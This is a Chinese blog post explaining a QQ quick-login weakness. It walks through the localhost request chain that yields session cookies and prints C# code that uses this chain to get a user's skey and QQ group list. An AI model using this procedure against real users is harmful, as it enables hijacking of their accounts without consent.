web安全:QQ號快速登入漏洞及被盜原理
為什麼你什麼都沒幹,但QQ空間中卻發了很多小廣告?也許你的QQ賬號已經被盜。本文將講解一個QQ的快速登入的漏洞。
我前陣子在論壇上看到一個QQ的快速登入的漏洞,覺得非常不錯,所以把部分原文給轉到園子來。
而利用這個漏洞最終可以實現,只要你點選一個頁面或執行過一個程式,那麼我就可以擁有你的登入許可權。可以直接進你郵箱,進你微雲,進你QQ空間等....
看懂本篇需要一點點web安全的基礎,請移步我的上篇
http://www.cnblogs.com/1996V/p/7458377.html
眾所周知,Tencent以前使用Activex的方式實施QQ快速登入,在一個陌生瀏覽器上使用,第一件事就是安裝QuickLogin控制元件。
Activex是外掛的意思,比如如果有這個的話,你可以通過瀏覽器開啟一個文件之類。而QuickLogin就是騰訊用來快速登入的Activex。
就在不知道什麼時候,快速登入突然不用控制元件了。
當時很疑惑,Tencent用了什麼奇葩的方法做到Web和本地的應用程式互動呢?
在沒有外掛的情況下,Web頁面應該無法直接和本地的應用程式直接互動(除非定義協議,但也只能調起,不能獲取程式提供的結果)。
在機緣巧合下(好吧就是閒著無聊看工作管理員發現了本機的httpd,發現Apache在執行的時候)突然意識到了一種可能:如果QQ在本地開了個埠,做了個Web伺服器,也就是符合HTTP協議的TCP服務端,然後網頁ajax向那個QQ(此時作為Web伺服器)發起請求,是不是就可以獲得結果呢。
httpd是是Apache超文字傳輸協議(HTTP)伺服器的主程式。被設計為一個獨立執行的後臺程序,它會建立一個處理請求的子程序或執行緒的池。
結果真的就是這樣,
網頁JS向http://localhost.ptlogin2.qq.com(埠從4300-4308,一個個試試到成功)發起GET一個請求
ping一下就會發現是127.0.0.1,一查埠,確實是QQ在用。
第一個請求:/pt_get_uins?callback=ptui_getuins_CB&r=0.5919004196050326&pt_local_tk=399224727
pt_local_tk 來自cookie,管他是什麼東西;r就是個隨機數
返回的結果是個JSON陣列:
var var_sso_uin_list=[{"account":"登入的QQ賬號","face_index":-1,"gender":0,"nickname":"你的QQ暱稱","uin":"還是你的QQ賬號","client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);
然後用http://ptlogin2.qq.com/getface來獲取QQ頭像,這裡不做討論
這樣你的QQ資訊就能顯示在Web頁面上了。
當你按下你的頭像(選擇這個登入的時候)
下列請求產生:
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=你的QQ號&callback=ptui_getst_CB&r=0.7293395590126179&pt_local_tk=399224727
同樣的,r是隨機數,pt_local_tk是來自cookie,local_token
這個請求做什麼事情呢?
嗯,Set-Cookie。
然後繼續請求
http://ptlogin2.qq.com/jump?clientuin=你的QQ號&keyindex=19&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=1881902769&pt_3rd_aid=0&ptopt=1&style=40
這裡唯一的u1就是目標地址
這個請求將返回所有需要的cookie,至此你就登入成功了。
這些Cookie就相當於令牌,有了這個令牌就可以擁有快速登入的許可權,就相當於你登入一般的網站,賬號密碼進去,後臺會給瀏覽器註冊一條Token來做狀態驗證一樣。
也就是說,拿到了Cookie,你就可以通過CSRF(跨站偽裝)的形式,來搞好多事情。
可以在網站上放一個頁面,裡面跑http請求,或者搞個窗體,裡面也跑http請求。
只要你電腦上登入了QQ,只要你打開了這個頁面或者打開了這個窗體,那麼你的賬號就已經被入侵!
不需要輸入賬號密碼,可以直接拿著QQ空間發表留言的介面直接呼叫,可以直接爬蟲抓相簿圖片,可以進微雲等等等等。
我再放個 論壇上的一個人根據這個漏洞進行的例項,
他做的是QQ群的一個驗證的例項
思路是:訪問任意QQ網站登入都會在本地產生Cookie,
然後獲取這個Cookie中的pt_local_token
進而獲取一切。
public static bool VerifyQQGroupYesNo(string VerifyQQGroupNum) { /// <summary> /// QQ群授權驗證YesNo /// </summary> bool YesNo = false; ///隨機數處理 Random random = new Random(); string randomstr = (Convert.ToDouble(random.Next(1, 99)) / Math.PI / 100).ToString(); try { ///定義string型別pt_local_tk 、localhost_str string pt_local_tk = string.Empty, localhost_str = string.Empty; //QQ會員中心Url string LoginUrl = "http://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=8000201&style=20&s_url=http%3A%2F%2Fvip.qq.com%2Floginsuccess.html&maskOpacity=60&daid=18&target=self"; //Get方式Http1.1訪問QQ會員中心 Zmoli775.HTTP.GetHttp1_1(LoginUrl); //獲取訪問QQ會員中心生成Cookies->pt_local_tk值 pt_local_tk = HTTP.Cookies.GetCookies(new Uri("http://ptlogin2.qq.com"))["pt_local_token"].Value; /* https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.22949112393586502&pt_local_tk=-2027291081 */ //自動登入[1]->返回QQ號、client_type、QQ頭像程式碼face_index、性別、QQ暱稱、uin、uin_flag localhost_str = Zmoli775.HTTP.Get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=" + randomstr + "&pt_local_tk=" + pt_local_tk + "", LoginUrl); //正則擷取返回JSON字串 if (!string.IsNullOrEmpty(localhost_str = Regex.Match(localhost_str, "(?i)(?<=var_sso_uin_list=).*?(?=;)").Value)) { JArray JArray = (JArray)JsonConvert.DeserializeObject(localhost_str); for (int i = 0; i < JArray.Count; i++) { //自動登入[2]->var_sso_get_st_uin登入失敗返回:ptui_qlogin_CB('-1', 'http://qun.qzone.qq.com/group', '登入失敗,請稍後再試。*'); string var_sso_get_st_uin = Zmoli775.HTTP.Get("http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=" + JArray[i]["account"] + "&callback=ptui_getst_CB&r=" + randomstr + "&pt_local_tk=" + pt_local_tk + "", LoginUrl); //登入目標地址 string LoginDestinationAddress = "https://ssl.ptlogin2.qq.com/jump?clientuin=" + JArray[i]["account"] + "&keyindex=9&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup&pt_local_tk=" + pt_local_tk + "&pt_3rd_aid=0&ptopt=1&style=40"; //登入目標地址Referer string LoginDestinationAddressReferer = "https://ui.ptlogin2.qq.com/cgi-bin/login?appid=549000912&daid=5&style=12&s_url=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup"; //LoginOK登入成功返回訪問地址生成關鍵Cookies string LoginOK = Zmoli775.HTTP.Get(LoginDestinationAddress, LoginDestinationAddressReferer); //正則擷取Url string skey = Regex.Match(LoginOK, "(?i)(?<=ptui_qlogin_CB\\('0', ').*?(?=',)").Value; if (!string.IsNullOrEmpty(skey)) { //Get方式Http1.1訪問擷取Url Zmoli775.HTTP.GetHttp1_1(skey); } ///獲取QQ群頁面產生的Cookies->skey skey = HTTP.Cookies.GetCookies(new Uri("http://ptlogin2.qzone.qq.com"))["skey"].Value; if (!string.IsNullOrEmpty(skey))///判斷Cookies->skey { string QQGroupList = string.Empty, QQGroupListJson = string.Empty; QQGroupList = Zmoli775.HTTP.Get("http://qun.qzone.qq.com/cgi-bin/get_group_list?uin=" + JArray[i]["account"] + "&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20WOW64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F50.0.2661.102%20Safari%2F537.36&random=" + randomstr + "&g_tk=" + Convert.ToString(Zmoli775.HTTP.Getg_tk(skey)) + "", LoginDestinationAddressReferer); //正則取QQ群列表資訊 QQGroupListJson = Regex.Match(QQGroupList, "(?i)(?<=_Callback\\().*?(?=\\);)").Value; if (!string.IsNullOrEmpty(QQGroupListJson)) { JArray Jarray = (JArray)JsonConvert.DeserializeObject(Convert.ToString(((JObject)JsonConvert.DeserializeObject(QQGroupListJson))["data"]["group"])); JArray JA = (JArray)JsonConvert.DeserializeObject(Convert.ToString(Jarray)); for (int y = 0; y < JA.Count; y++) { if (JA[y]["groupid"].ToString() == VerifyQQGroupNum) YesNo = true;///如果獲取到的QQ群號碼和需要驗證的QQ群號碼一致則設定YesNo 值為true } } } } } if (YesNo)//如果值為true { MessageBox.Show("QQ群驗證成功!", "軟體授權提示!", MessageBoxButtons.OK, MessageBoxIcon.Information); return true; } else { MessageBox.Show("QQ群驗證失敗!", "軟體授權提示!", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } } catch (Exception) { MessageBox.Show("QQ群驗證失敗!", "軟體授權提示!", MessageBoxButtons.OK, MessageBoxIcon.Error); return false; } }